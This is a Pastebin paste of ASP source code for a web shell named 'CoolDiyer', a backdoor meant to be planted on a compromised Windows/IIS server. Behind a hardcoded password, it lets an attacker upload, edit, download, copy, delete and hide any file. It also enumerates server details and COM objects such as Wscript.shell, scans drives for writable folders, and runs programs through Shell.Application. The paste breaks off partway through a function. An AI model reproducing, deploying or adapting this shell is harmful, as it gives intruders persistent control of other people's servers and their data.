Advertisement
Guest User

Untitled

a guest
Aug 5th, 2016
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 44.31 KB | None | 0 0
  1. <HTML>
  2. <HEAD><TITLE>[CoolDiyer@<%=Request.ServerVariables("LOCAL_ADDR")%>]</TITLE>
  3. <STYLE type="text/css">
  4. <!--
  5. BODY{FONT-SIZE: 12px; COLOR: #333333; FONT-FAMILY: "Arial", "Helvetica", "sans-serif";}
  6. TABLE{FONT-SIZE: 12px; COLOR: #333333; LINE-HEIGHT: 16px; FONT-FAMILY: "Arial", "Helvetica", "sans-serif";}
  7. INPUT{BORDER: 1px solid #cccccc; PADDING: 1px; FONT-SIZE: 12px; FONT-FAMILY: ; HEIGHT: 18px;}
  8. .INPUTt{BORDER-STYLE: none;}
  9. TEXTAREA{BORDER: 1px solid #000000; FONT-SIZE: 12px;FONT-FAMILY: ""; CURSOR: HAND;}
  10. A:link{COLOR: #32312c; TEXT-DECORATION: none;}
  11. A:visited{COLOR: #32312c; TEXT-DECORATION: none;}
  12. A:hover{COLOR: red; TEXT-DECORATION: none;}
  13. .TBHead{BACKGROUND: #d8f99b; HEIGHT: 28px; TEXT-ALIGN: center; VERTICAL-ALIGN: middle; FONT-WEIGHT: bold;}
  14. .TBEnd{BACKGROUND: #ffffff;HEIGHT:28px;TEXT-ALIGN: center; VERTICAL-ALIGN: middle;}
  15. .TBTD{BACKGROUND:#f7fee9;HEIGHT:25px;}
  16. .TBBO{BORDER-BOTTOM: 1px solid #91d70d;}
  17. -->
  18. </STYLE>
  19. <HEAD>
  20. <BODY leftmargin=0>
  21. <%
  22. Dim Url
  23. Url = Request.ServerVariables("SCRIPT_NAME")
  24. UrlPath = Left(Url,InstrRev(Url,"/"))
  25. Dim oUpFileStream
  26. Class UpFile_Class
  27. Dim Form,File,Version,Err
  28. Private Sub Class_Terminate
  29. If Err < 0 Then
  30. Form.RemoveAll
  31. Set Form = Nothing
  32. File.RemoveAll
  33. Set File = Nothing
  34. oUpFileStream.Close
  35. Set oUpFileStream = Nothing
  36. End If
  37. End Sub
  38.  
  39. Public Sub GetData ()
  40. Dim RequestBinDate,sSpace,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo
  41. Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
  42. Dim iFindStart,iFindEnd
  43. Dim iFormStart,iFormEnd,sFormName
  44. Set Form = Server.CreateObject ("Scripting.Dictionary")
  45. Form.CompareMode = 1
  46. Set File = Server.CreateObject ("Scripting.Dictionary")
  47. File.CompareMode = 1
  48. Set tStream = Server.CreateObject ("ADODB.Stream")
  49. Set oUpFileStream = Server.CreateObject ("ADODB.Stream")
  50. oUpFileStream.Type = 1
  51. oUpFileStream.Mode = 3
  52. oUpFileStream.Open
  53. oUpFileStream.Write Request.BinaryRead (Request.TotalBytes)
  54. oUpFileStream.Position = 0
  55. RequestBinDate = oUpFileStream.Read
  56. iFormEnd = oUpFileStream.Size
  57. bCrLf = ChrB (13) & ChrB (10)
  58. sSpace = MidB (RequestBinDate,1, InStrB (1,RequestBinDate,bCrLf)-1)
  59. iStart = LenB (sSpace)
  60. iFormStart = iStart+2
  61. Do
  62. iInfoEnd = InStrB (iFormStart,RequestBinDate,bCrLf & bCrLf)+3
  63. tStream.Type = 1
  64. tStream.Mode = 3
  65. tStream.Open
  66. oUpFileStream.Position = iFormStart
  67. oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart
  68. tStream.Position = 0
  69. tStream.Type = 2
  70. tStream.CharSet = "gb2312"
  71. sInfo = tStream.ReadText
  72. iFormStart = InStrB (iInfoEnd,RequestBinDate,sSpace)-1
  73. iFindStart = InStr (22,sInfo,"name=""",1)+6
  74. iFindEnd = InStr (iFindStart,sInfo,"""",1)
  75. sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
  76. If InStr (45,sInfo,"filename=""",1) > 0 Then
  77. Set oFileInfo = new FileInfo_Class
  78. iFindStart = InStr (iFindEnd,sInfo,"filename=""",1)+10
  79. iFindEnd = InStr (iFindStart,sInfo,"""",1)
  80. sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
  81. oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)
  82. oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))
  83. oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)
  84. iFindStart = InStr (iFindEnd,sInfo,"Content-Type: ",1)+14
  85. iFindEnd = InStr (iFindStart,sInfo,vbCr)
  86. oFileInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
  87. oFileInfo.FileStart = iInfoEnd
  88. oFileInfo.FileSize = iFormStart -iInfoEnd -2
  89. oFileInfo.FormName = sFormName
  90. file.add sFormName,oFileInfo
  91. Else
  92. tStream.Close
  93. tStream.Type = 1
  94. tStream.Mode = 3
  95. tStream.Open
  96. oUpFileStream.Position = iInfoEnd
  97. oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
  98. tStream.Position = 0
  99. tStream.Type = 2
  100. tStream.CharSet = "gb2312"
  101. sFormValue = tStream.ReadText
  102. If Form.Exists (sFormName) Then
  103. Form (sFormName) = Form (sFormName) & ", " & sFormValue
  104. Else
  105. Form.Add sFormName,sFormValue
  106. End If
  107. End If
  108. tStream.Close
  109. iFormStart = iFormStart+iStart+2
  110. Loop Until (iFormStart+2) = iFormEnd
  111. RequestBinDate = ""
  112. Set tStream = Nothing
  113. End Sub
  114. End Class
  115. Class FileInfo_Class
  116. Dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
  117. Public Function SaveToFile (Path)
  118. On Error Resume Next
  119. Dim oFileStream
  120. Set oFileStream = CreateObject ("ADODB.Stream")
  121. oFileStream.Type = 1
  122. oFileStream.Mode = 3
  123. oFileStream.Open
  124. oUpFileStream.Position = FileStart
  125. oUpFileStream.CopyTo oFileStream,FileSize
  126. oFileStream.SaveToFile Path,2
  127. oFileStream.Close
  128. Set oFileStream = Nothing
  129. End Function
  130.  
  131. Public Function FileDate
  132. oUpFileStream.Position = FileStart
  133. FileDate = oUpFileStream.Read (FileSize)
  134. End Function
  135. End Class
  136. If Request("Up") = "yes" and Session("DreamX") = "Admin" Then
  137. UpLoadSave
  138. End if
  139. If Request("Action") = "Login" Then
  140. If Request.Form("Pass") = "2505429" Then 'Replace You Password
  141. Session("DreamX") = "Admin"
  142. End if
  143. End if
  144. If Session("DreamX")="Admin" Then
  145. Select Case Request("Action")
  146. Case "Loginout" : Loginout
  147. Case "EditForm" : EditForm Request("File")
  148. Case "SaveFile" : SaveFile
  149. Case "CopyFile" : CopyFile
  150. Case "Down" : Down Request("File")
  151. Case "Del" : Del
  152. Case "SetAttribForm" : SetAttribForm
  153. Case "SetAttrib" : SetAttrib
  154. Case "ShowServer" : ShowServer
  155. Case "ScServer" : ScServer Request("Servers")
  156. Case "CommonObj" : CommonObj
  157. Case "ScObj" : ScObj Request("Objects")
  158. Case "ScanDriveForm" : ScanDriveForm
  159. Case "ScanDrive" : ScanDrive Request("Drive")
  160. Case "ScFolder" : ScFolder Request("Folder")
  161. Case "DispFsoCmdForm": DispFsoCmdForm
  162. Case "SQLForm" : SQLForm
  163. Case "SQL" : SQL
  164. Case "UpLoadForm" : UpLoadForm
  165. Case else:
  166. If Trim(Request("Path")) <> "" then
  167. DisplayDirectory Request("Path")
  168. Else
  169. DisplayDirectory Server.MapPath(Left(Url,InstrRev(Url,"/")))
  170. End if
  171. End Select
  172. Else
  173. AdminLogin
  174. Response.End
  175. End if
  176. Sub AdminLogin()
  177. %>
  178. <P>ЎЎ</P><P>ЎЎ</P><P>ЎЎ</P><P>ЎЎ</P>
  179. <FORM Action=<%=Url%>?Action=Login method=Post>
  180. <TABLE align=center cellpadding=0 cellspacing=1 width=250 border=0 bgcolor=#91d70d>
  181. <TR bgcolor=#d8f99b>
  182. <TD class=TBHead>Manage Login</TD>
  183. </TR>
  184. <TR>
  185. <TD class=TBTD>
  186. <TABLE width=100% border=0>
  187. <TR>
  188. <TD width=80 align=middle>Pass</TD>
  189. <TD><INPUT type=Password name=Pass size=20></TD>
  190. </TR>
  191. </TABLE>
  192. </TD>
  193. </TR>
  194. <TR>
  195. <TD class=TBEnd><INPUT type=submit value=Login></TD>
  196. </TR>
  197. </TABLE>
  198. </FORM>
  199. <%
  200. End Sub
  201. Sub Loginout
  202. Session.Abandon
  203. Response.write "<P>ЎЎ</P><P>ЎЎ</P><P>ЎЎ</P><P>ЎЎ</P>"
  204. Message "Exit Login","<LI>Clean Login Information Success!",0
  205. End Sub
  206. Sub EditForm(filename)
  207. On Error Resume Next
  208. Dim FSO,FileStream,FileText
  209. Set FSO = Server.Createobject("Scripting.FileSystemObject")
  210. Set FileStream = FSO.OpenTextFile(filename,1,False)
  211. If Not FileStream.AtEndOfStream Then
  212. FileText = FileStream.ReadAll
  213. End If
  214. FileStream.Close
  215. Set FileStream = Nothing
  216. Set FSO = Nothing
  217. %>
  218. <FORM Action=<%=Url%>?Action=SaveFile method=Post>
  219. <TABLE align=center cellspacing=1 cellpadding=3 width=600 border=0 bgColor=#91d70d>
  220. <TR>
  221. <TD class=TBHead>File Editor</TD>
  222. </TR>
  223. <TR>
  224. <TD class=TBTD> FileName:
  225. <INPUT type=text size=35 value="<%=filename%>" name=oPath readonly></TD>
  226. </TR>
  227. <TR>
  228. <TD align=middle class=TBTD>
  229. <Textarea Name=ChangeTxt Rows=35 cols=105><%=HTMLEncode(FileText)%></TEXTAREA></TD>
  230. </TR>
  231. <TR>
  232. <TD class=TBTD> FileName:
  233. <INPUT type=text size=35 name=nPath>
  234. <INPUT type=submit value=Save as name=Save>ЎєAbs PathЎ»Example: F:\ASP\ or F:\ASP\index.asp</TD>
  235. </TR>
  236. <TR>
  237. <TD class=TBEnd>
  238. <INPUT type=submit value=Save name=Save> <INPUT type=reset value=Reset></TD>
  239. </TR>
  240. </TABLE>
  241. </FORM>
  242. <%
  243. End Sub
  244. Sub SaveFile()
  245. On Error Resume Next
  246. Dim nPath,oPath,SaveFso,FileStream
  247. oPath = Request("oPath")
  248. Set SaveFso = Server.Createobject("Scripting.FileSystemObject")
  249. If Request("Save") = "Save As" Then
  250. nPath = Request("nPath")
  251. If Right(nPath,1) = "\" Then nPath = nPath & Mid(oPath,InstrRev(oPath,"\")+1)
  252. If Right(nPath,1) <> "\" and Instr(nPath,".") = 0 Then nPath = nPath & "\" & Mid(oPath,InstrRev(oPath,"\")+1)
  253. Else
  254. nPath = oPath
  255. End If
  256. Set FileStream = SaveFso.CreateTextFile(nPath)
  257. FileStream.WriteLine Request("ChangeTxt")
  258. FileStream.Close
  259. Set SaveFso = Nothing
  260. If err then
  261. err.Clear
  262. Message "Save File Fail","<LI>Please input you paht" & nPath & "Not Exist or Not legitimate or not enough proviledge<LI>File attrib may be readonly or can not edit NTFSЎЈ",1
  263. Else
  264. Message "Save File Success","<LI>File Success Save to " & nPath ,0
  265. End If
  266. End Sub
  267. Sub CopyFile()
  268. On Error Resume Next
  269. Dim FSO,Source,Target
  270. Source = Request("oDir")
  271. Target = Request("nDir")
  272. Flag = Request("flag")
  273. Set FSO = Server.CreateObject("Scripting.FileSystemObject")
  274. If Right(Target,1) <> "\" and Instr(Target,".") = 0 Then Target = Target & "\"
  275. If FSO.FolderExists(Left(Target,InstrRev(Target,"\"))) = 0 Then
  276. Message "Copy fail","<LI>Destination Folder dos not exist!",0
  277. Response.End
  278. End If
  279. If Flag = 1 Then
  280. If FSO.FileExists(Source) Then
  281. FSO.CopyFile Source,Target,True
  282. Else
  283. Message "copy fail","<LI>Source Foldet dos not exist!",0
  284. Response.End
  285. End If
  286. Else
  287. If FSO.FolderExists(Source) Then
  288. FSO.CopyFolder Source,Target,True
  289. Else
  290. Message "Copy Fail","<LI>Source Folder dos not exist"
  291. Response.End
  292. End If
  293. End If
  294. Set FSO = Nothing
  295. If err then
  296. err.Clear
  297. Message "Copy Failure","<LI>Not enough proviledge,can not copy:(",0
  298. Else
  299. Message "Copy Success","<LI> " & Source & " Copyed to " & Target & " Refresh to see",0
  300. End if
  301. End Sub
  302. Sub Down(File)
  303. On Error Resume Next
  304. Dim FileStream,FSO,FileOb
  305. Response.Buffer = True
  306. Response.Clear
  307. Set FileStream = Server.CreateObject("ADODB.Stream")
  308. FileStream.Open
  309. FileStream.Type = 1
  310. Set FSO = Server.CreateObject("Scripting.FileSystemObject")
  311. If Not FSO.FileExists(File) Then
  312. Message "Down failure","<LI>The file you Down dosnot exist!",0
  313. Response.End
  314. End if
  315. Set FileOb = FSO.GetFile(File)
  316. FileLength = FileOb.Size
  317. FileStream.LoadFromFile(File)
  318. If err Then
  319. Message "Down failure","<LI>The file you Down cannot read!",0
  320. Response.End
  321. End if
  322. Response.AddHeader "Content-Disposition","Attachment;Filename="&FileOb.name
  323. Response.AddHeader "Content-Length",Filelength
  324. Response.CharSet = "UTF-8"
  325. Response.ContentType = "Application/octet-Stream"
  326. Response.BinaryWrite FileStream.Read
  327. Response.Flush
  328. FileStream.Close
  329. Set FileStream = Nothing
  330. Response.End
  331. End Sub
  332. Sub Del
  333. On Error Resume Next
  334. Dim Name,Flag
  335. Name = Request("name")
  336. Flag = Request("flag")
  337. Set FSO = Server.Createobject("Scripting.FileSystemObject")
  338. If Flag = 1 Then
  339. If FSO.FileExists(name) Then
  340. FSO.DeleteFile name,True
  341. Else
  342. Message "Delete failure","<LI>File" & name & " dos not exist or no proviledge!",0
  343. Response.End
  344. End If
  345. Else
  346. If FSO.FolderExists(name) Then
  347. FSO.DeleteFolder name,True
  348. Else
  349. Message "Delete failure","<LI>Folder" & name & "dos not exist or no enough proviledge!",0
  350. Response.End
  351. End If
  352. End If
  353. Set FSO = Nothing
  354. If err Then
  355. err.Clear
  356. Message "Delete failure","<LI>No enough proviledge or" & name & " using,can not delete!",0
  357. Else
  358. Message "Delete Success","<LI>" & name & " already delete,refresh to see!",0
  359. End If
  360. End Sub
  361. Sub SetAttribForm
  362. %>
  363. <FORM action=<%=Url%>?Action=SetAttrib method=Post>
  364. <TABLE align=center cellspacing=1 cellpadding=3 width=480 border=0 bgColor=#91d70d>
  365. <TR>
  366. <TD colspan=2 class=TBHead>set attrib</TD></TR>
  367. <TR class=TBTD>
  368. <TD width=120 align=middle>File</TD>
  369. <TD><INPUT type=text name=name size=38 value="<%=Request("FileFolder")%>"></TD>
  370. </TR>
  371. <TR class=TBTD>
  372. <TD align=middle>attrib</TD>
  373. <TD>
  374. <INPUT class=INPUTt type=checkbox name=FileFolderAttrib value=1>ReadOlny
  375. <INPUT class=INPUTt type=checkbox name=FileFolderAttrib value=2>Hidden
  376. <INPUT class=INPUTt type=checkbox name=FileFolderAttrib value=4>System
  377. <INPUT class=INPUTt type=checkbox name=noAttrib value=32>Archive
  378. </TD>
  379. </TR>
  380. <TR>
  381. <TD class=TBEnd colspan=2><INPUT type=submit value=Submit></TD>
  382. </TR>
  383. </TABLE>
  384. </FORM><BR>
  385. <%
  386. End Sub
  387. Sub SetAttrib
  388. On Error Resume Next
  389. Dim FSO,name,GetFileFolder,FileFolderAttrib,noAttrib,Attribs,AttribCount:AttribCount=32
  390. name = Request("name")
  391. Set FSO = Server.CreateObject("Scripting.FileSystemObject")
  392. If FSO.FileExists(name) Then
  393. Set GetFileFolder = FSO.GetFile(name)
  394. ElseIf FSO.FolderExists(name) Then
  395. Set GetFileFolder = FSO.GetFolder(name)
  396. Else
  397. Message "attrib set failure","Can not find the file or folder,Confirm that exist",0
  398. Response.End
  399. End If
  400. FileFolderAttrib = Request("FileFolderAttrib")
  401. noAttrib = Request("noAttrib")
  402. If noAttrib = "" Then
  403. Attribs = Split(FileFolderAttrib,",")
  404. For i=0 to Ubound(Attribs)
  405. AttribCount = AttribCount+Attribs(i)
  406. Next
  407. GetFileFolder.attrib = AttribCount
  408. Else
  409. GetFileFolder.attrib = AttribCount
  410. End If
  411. If err Then
  412. err.Clear
  413. Message "attrib set failure","attrib set failure,confirm you proviledge.",0
  414. Else
  415. Message "attrib set Success","Already set" & name & "'s" & GetAttrib(AttribCount) ,0
  416. End If
  417. Set GetFileFolder = Nothing
  418. Set FSO = Nothing
  419. End Sub
  420. Sub ShowServer
  421. Message "Current server Infomation", "<LI>Server Port:" & Red(Request.Servervariables("SERVER_PORT")) & "<LI>Server CPU Number" & Red(Request.ServerVariables("NUMBER_OF_PROCESSORS") ) & "<LI>Server OS:" & Red(Request.ServerVariables("OS")) & "<LI>Server Name:" & Red(Request.Servervariables("SERVER_NAME")) & "<LI>Server IP:" & Red(Request.Servervariables("LOCAL_ADDR")) & "<LI>Server Current Time:" & Red(Now()) & "<LI>This File Abs Path" & Red(Request.ServerVariables("PATH_TRANSLATED")),0
  422. %>
  423. <DIV width=450 align=center>
  424. <FORM action=<%=Url%>?Action=ScServer method=Post>Special Info Query:
  425. <INPUT type=text name=Servers>
  426. <INPUT type=submit value=Query>ЎЎInput Servervariable's Key
  427. </FORM>
  428. </DIV>
  429. <%
  430. End Sub
  431. Function Red(str)
  432. Red = "<FONT color=#ff2222>" & str & "</FONT>"
  433. End Function
  434. Sub ScServer(var)
  435. On Error Resume Next
  436. Dim Temp_Str
  437. Temp_Str = Request.ServerVariables(var)
  438. If Temp_Str = "" Then
  439. Message "Server Info","<LI>Query("&var&")Return Value:" & Red("Key error or query empty!</FONT>"),1
  440. Else
  441. Message "Server Info","<LI>Query("&var&")Return Value:" & Red(Temp_Str),1
  442. End If
  443. End Sub
  444. Sub CommonObj() 'Common COM Test
  445. Message "Current COM Info","<LI>Scripting.FileSystemObject:" & GetObj("Scripting.FileSystemObject") & "<LI>ADODB.Connection:" & GetObj("ADODB.Connection") & "<LI>FileUp.upload:" & GetObj("FileUp.upload") & "<LI>JJMail.SMtPMail:" & GetObj("JMail.SMtPMail") & "<LI>CDONTS.NewMail:" & GetObj("CDONTS.NewMail") & "<LI>Wscript.shell:" & GetObj("Wscript.shell"),0
  446. %>
  447. <DIV width=450 align=center>
  448. <FORM action=<%=Url%>?Action=ScObj method=Post>Special COM Query:
  449. <INPUT type=text name=Objects>
  450. <INPUT type=submit value=Query>ЎЎInput COM Name.Example: Wscript.shell
  451. </FORM>
  452. </DIV>
  453. <%
  454. End Sub
  455. Function GetObj(obj)
  456. On Error Resume Next
  457. Dim Object
  458. Set Object = Server.CreateObject(obj)
  459. If IsObject(Object) then
  460. GetObj = Red("<font face=Webdings size=+1>a</font>")
  461. Else
  462. GetObj = Red("<font face=Webdings>r</font>")
  463. End If
  464. Set Object = Nothing
  465. End Function
  466. Sub ScObj(obj)
  467. Message "COM Info","<LI>Server COM(" & obj & "):" & GetObj(obj),1
  468. End Sub
  469. Sub ScanDriveForm() 'Scan Disk Info
  470. Dim FSO,DriveB
  471. Set FSO = Server.Createobject("Scripting.FileSystemObject")
  472.  
  473. %>
  474. <TABLE width=480 border=0 align=center cellpadding=3 cellspacing=1 bgColor=#91d70d>
  475. <TR>
  476. <TD colspan=5 class=TBHead>Disk/System Folder Info</TD>
  477. </TR>
  478. <%
  479. For Each DriveB in FSO.Drives%>
  480. <TR align=middle class=TBTD>
  481. <FORM action=<%=Url%>?Action=ScanDrive&Drive=<%=DriveB.DriveLetter%> method=Post>
  482. <TD width=25%><B>Volume</B></TD>
  483. <TD width=15%><%=DriveB.DriveLetter%>:</TD>
  484. <TD width=20%><B>Type</B></TD>
  485. <TD width=20%>
  486. <%
  487. Select Case DriveB.DriveType
  488. Case 1: Response.write "Can move"
  489. Case 2: Response.write "Local Disk"
  490. Case 3: Response.write "Net Disk"
  491. Case 4: Response.write "CD-ROM"
  492. Case 5: Response.write "RAM Disk"
  493. Case else: Response.write "Unknow type"
  494. End Select
  495. %>
  496. </TD>
  497. <TD><INPUT type=submit value="Minute report"></TD>
  498. </FORM>
  499. </TR>
  500. <%
  501. Next%>
  502. <TR class=TBTD>
  503. <FORM action=<%=Url%>?Action=ScFolder&Folder=<%=FSO.GetSpecialFolder(0)%> method=Post>
  504. <TD align=middle><B>Windows Folder</B></TD>
  505. <TD colspan=3><%=FSO.GetSpecialFolder(0)%></TD>
  506. <TD align=middle><INPUT type=submit value="Minute report"></TD>
  507. </FORM>
  508. </TR>
  509. <TR class=TBTD>
  510. <FORM action=<%=Url%>?Action=ScFolder&Folder=<%=FSO.GetSpecialFolder(1)%> method=Post>
  511. <TD align=middle><B>System32 Folder</B></TD>
  512. <TD colspan=3><%=FSO.GetSpecialFolder(1)%></TD>
  513. <TD align=middle><INPUT type=submit value="Minute report"></TD>
  514. </FORM>
  515. </TR>
  516. <TR class=TBTD>
  517. <FORM action=<%=Url%>?Action=ScFolder&Folder=<%=FSO.GetSpecialFolder(2)%> method=Post>
  518. <TD align=middle><B>System Temp Folder</B></TD>
  519. <TD colspan=3><%=FSO.GetSpecialFolder(2)%></TD>
  520. <TD align=middle><INPUT type=submit value="Minute report"></TD>
  521. </FORM>
  522. </TR>
  523. </TABLE><BR>
  524. <DIV align=center>
  525. <FORM Action=<%=Url%>?Action=ScFolder method=Post>Appoint Folder Query:
  526. <INPUT type=text name=Folder>
  527. <INPUT type=submit value="Make report">ЎЎappoint Folder Path. Example: F:\ASP\
  528. </FORM>
  529. <DIV>
  530. <%
  531. Set FSO=Nothing
  532. End Sub
  533. Sub ScanDrive(Drive) 'Scan appoint folder
  534. Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D
  535. If Drive <> "" Then
  536. Set FSO = Server.Createobject("Scripting.FileSystemObject")
  537. Set TestDrive = FSO.GetDrive(Drive)
  538. If TestDrive.IsReady Then
  539. Temp_Str = "<LI>Disk Allocate type:" & Red(TestDrive.FileSystem) & "<LI>Disk SerialNumber:" & Red(TestDrive.SerialNumber) & "<LI>Disk shared name:" & Red(TestDrive.ShareName) & "<LI>Disk TotalSize:" & Red(CInt(TestDrive.TotalSize/1048576)) & "<LI>Disk VolumeName" & Red(TestDrive.VolumeName) & "<LI>Disk Root:" & ScReWr((Drive & ":\"))
  540. Set BaseFolder = TestDrive.RootFolder
  541. Set TempFolders = BaseFolder.SubFolders
  542. For Each D in TempFolders
  543. Temp_Str = Temp_Str & "<LI>Folder" & ScReWr(D)
  544. Next
  545. Set TempFolder = Nothing
  546. Set BaseFolder = Nothing
  547. Else
  548. Temp_Str = Temp_Str & "<LI>Disk root:" & Red("Cannot read:(")
  549. Dim TempFolderList,t:t=0
  550. Temp_Str = Temp_Str & "<LI>" & Red("List catalog test")
  551. TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp")
  552. For i = 0 to Ubound(TempFolderList)
  553. If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then
  554. t = t+1
  555. Temp_Str = Temp_Str & "<LI>Find Folder:" & ScReWr(Drive & ":\" & TempFolderList(i))
  556. End if
  557. Next
  558. If t=0 then Temp_Str = Temp_Str & "<LI>Already List" & Drive & "Disk root,but find nothing:("
  559. End if
  560. Set TestDrive = Nothing
  561. Set FSO = Nothing
  562. Temp_Str = Temp_Str & "<LI>Warning:" & Red("Not Refresh a lot ,or the folder write only will be left a lot of rubbish file")
  563. Message Drive & ":Disk Info",Temp_Str,1
  564. End if
  565. End Sub
  566. Sub ScFolder(folder)
  567. On Error Resume Next
  568. Dim FSO,OFolder,TempFolder,Scmsg,S
  569. Set FSO = Server.Createobject("Scripting.FileSystemObject")
  570. If FSO.FolderExists(folder) Then
  571. Set OFolder = FSO.GetFolder(folder)
  572. Set TempFolders = OFolder.SubFolders
  573. Scmsg = "<LI>Appoint folder root:" & ScReWr(folder)
  574. For Each S in TempFolders
  575. Scmsg = Scmsg&"<LI>Folder:" & ScReWr(S)
  576. Next
  577. Set TempFolders = Nothing
  578. Set OFolder = Nothing
  579. Else
  580. Scmsg = Scmsg & "<LI>Folder:" & Red(folder & " Dos not exist or can not read")
  581. End if
  582. Scmsg = Scmsg & "<LI>Worning:" & Red("Not Refresh a lot ,or the folder write only will be left a lot of rubbish file!")
  583. Set FSO = Nothing
  584. Message "Folder Info",Scmsg,1
  585. End Sub
  586. Function ScReWr(folder) '1.can Read,not write 2.cannot read,can write 3.can read an write 4.cannot read or write
  587. On Error Resume Next
  588. Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename
  589. Set FSO = Server.Createobject("Scripting.FileSystemObject")
  590. Set TestFolder = FSO.GetFolder(folder)
  591. Set TestFileList = TestFolder.SubFolders
  592. RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp"
  593. For Each A in TestFileList
  594. Next
  595. If err Then
  596. err.Clear
  597. ReWrStr = folder & " <FONT color=#f0f0f0>Read</FONT>"
  598. FSO.CreateTextFile folder & RndFilename,True
  599. If err Then
  600. err.Clear
  601. ReWrStr = ReWrStr & " <FONT color=#f0f0f0>Write</FONT>"
  602. Else
  603. ReWrStr = ReWrStr & " <FONT color=#f2222>Write </FONT>"
  604. FSO.DeleteFile folder & RndFilename,True
  605. End If
  606. Else
  607. ReWrStr = folder & " <FONT color=#ff2222>Read</FONT>"
  608. FSO.CreateTextFile folder & RndFilename,True
  609. If err Then
  610. err.Clear
  611. ReWrStr = ReWrStr & " <FONT color=#f0f0f0>Write</FONT>"
  612. Else
  613. ReWrStr = ReWrStr & " <FONT color=#f2222>Write </FONT>"
  614. FSO.DeleteFile folder & RndFilename,True
  615. End if
  616. End if
  617. Set TestFileList = Nothing
  618. Set TestFolder = Nothing
  619. Set FSO = Nothing
  620. ScReWr = ReWrStr
  621. End Function
  622. Sub DispFsoCmdForm
  623. %>
  624. <FORM Action=<%=Url%>?Action=DispFsoCmdForm method=Post>
  625. <TABLE width=580 border=0 align=center cellpadding=3 cellspacing=1 bgcolor=#91d70d>
  626. <TR>
  627. <TD colspan=2 class=TBHead>Without FSO Operate</TD>
  628. </TR>
  629. <TR class=TBTD>
  630. <TD colspan=2>ЎЎWarning 1.destination address to input. Example: F:\APS\ЎЎ2.Run program canot append argument</TD>
  631. </TR>
  632. <TR class=TBTD>
  633. <TD width=80 align=middle>Folder View</TD>
  634. <TD>
  635. <INPUT type=text name=Sf value=<%=Request("Sf")%>>
  636. <INPUT class=INPUTt type=radio value=Abs name=SelectPath
  637. <%If Request("SelectPath")="Abs" or Request("SelectPath") = "" Then%> checked <%End If%> >Abs
  638. <INPUT class=INPUTt type=radio value=Ote name=SelectPath
  639. <%If Request("SelectPath")="Ote" Then%>checked<%End If%> >Relative</TD>
  640. </TR>
  641. <TR class=TBTD>
  642. <TD align=middle>File Copy</TD>
  643. <TD>
  644. <INPUT type=text name=Cs value=<%=Request("Cs")%> > To
  645. <INPUT type=text name=Ct value=<%=Request("Ct")%> > [Dest can only folder]</TD>
  646. </TR>
  647. <TR class=TBTD>
  648. <TD align=middle>File Move</TD>
  649. <TD>
  650. <INPUT type=text name=Ms value=<%=Request("Ms")%> > To
  651. <INPUT type=text name=Mt value=<%=Request("Mt")%> > [Dest can only folder]</TD>
  652. </TR>
  653. <TR class=TBTD>
  654. <TD align=middle>Run Program</TD>
  655. <TD>
  656. <INPUT type=text name=PerFolder value=<%=Request("PerFolder")%> > ->
  657. <INPUT type=text name=PerFile value=<%=Request("PerFile")%> > [Path:ProgramName]</TD>
  658. </TR>
  659. <TR>
  660. <TD colspan=2 class=TBEnd>
  661. <INPUT type=hidden value=yes name=CMDok><INPUT type=submit value="Send CMD"></TD>
  662. </TR>
  663. <%
  664. If Request("CMDok") = "yes" Then%>
  665. <TR bgColor=#ffffff>
  666. <TD align=center colspan=4><DIV align=center><Textarea Rows=22 cols=90><%DispFsoCmd%></Textarea></DIV></TD>
  667. </TR>
  668. <TR>
  669. <TD class=TBEnd colspan=2><INPUT type=button value=№Ш±Х onclick="window.close();"></TD>
  670. </TR>
  671. <%
  672. End if%>
  673. </TABLE>
  674. </FORM>
  675. <%
  676. End Sub
  677.  
  678. Sub DispFsoCmd
  679. On Error Resume Next
  680. Dim Sf,Cs,Ct,Ms,Mt,PerFolder,PerFile
  681.  
  682. Sf = Trim(Request("Sf"))
  683. Cs = Trim(Request("Cs"))
  684. Ct = Trim(Request("Ct"))
  685. Ms = Trim(Request("Ms"))
  686. Mt = Trim(Request("Mt"))
  687. PerFolder = Trim(Request("PerFolder"))
  688. PerFile = Trim(Request("PerFile"))
  689. Set Shell = Server.Createobject("Shell.Application")
  690. If Sf <> "" Then
  691. Dim ShowSpace,ShowFiles,File
  692. If Request("SelectPath")="Ote" Then Sf = Server.MapPath(Sf)
  693. Set ShowSpace = Shell.NameSpace(Sf)
  694. Set ShowFiles = ShowSpace.Items
  695. For Each File in ShowFiles
  696. Response.write File.Path & " " & File.Size & " " & File.Type & vbCrLf
  697. Next
  698. End If
  699. If Cs <> "" and Ct <> "" Then
  700. Dim Cs_Folder,Cs_File,Cs_Space,Cs_FilePar,Ct_Space
  701. Set Ct_Space = Shell.NameSpace(Ct)
  702. Cs_Folder = Left(Cs,instrRev(Cs,"\"))
  703. Cs_File = Right(Cs,Len(Cs)-InstrRev(Cs,"\"))
  704. Set Cs_Space = Shell.NameSpace(Cs_Folder)
  705. Set Cs_FilePar = Cs_Space.Parsename(Cs_File)
  706. Ct_Space.CopyHere Cs_FilePar
  707. If err Then
  708. err.Clear
  709. Response.write "Copy folder failure"
  710. Else
  711. Response.write "Already Copy 1 Folder."
  712. End if
  713. End if
  714. If Ms <> "" and Mt <> "" Then
  715. Dim Ms_Folder,Ms_File,Ms_Space,Ms_FilePar,Mt_Space
  716. Set Mt_Space = Shell.NameSpace(Mt)
  717. Ms_Folder = Left(Ms,instrRev(Ms,"\"))
